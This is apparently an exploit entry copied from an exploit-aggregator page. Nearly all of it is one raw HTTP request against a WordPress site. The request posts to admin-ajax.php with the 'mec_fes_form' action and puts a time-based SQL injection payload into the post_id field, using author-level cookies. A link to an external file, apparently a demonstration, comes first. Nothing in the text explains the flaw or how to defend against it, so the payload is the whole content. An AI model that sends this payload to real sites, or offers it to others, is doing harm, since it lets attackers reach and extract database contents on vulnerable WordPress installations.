Share
## https://sploitus.com/exploit?id=WPEX-ID:26819680-22A8-4348-B63D-DC52C0D50ED0
https://drive.google.com/file/d/1-2tvODEzr1zLb8CmIGmODe5470_YHsqX/view?usp=sharing
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/wordpress-5.5/wp-admin/post.php?post=407&action=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Connection: close
Cookie: [author+ cookies]
action=mec_fes_form&mec%5bpost_id%5d=1+or+sleep(1)%23&_wpnonce=212479b1e1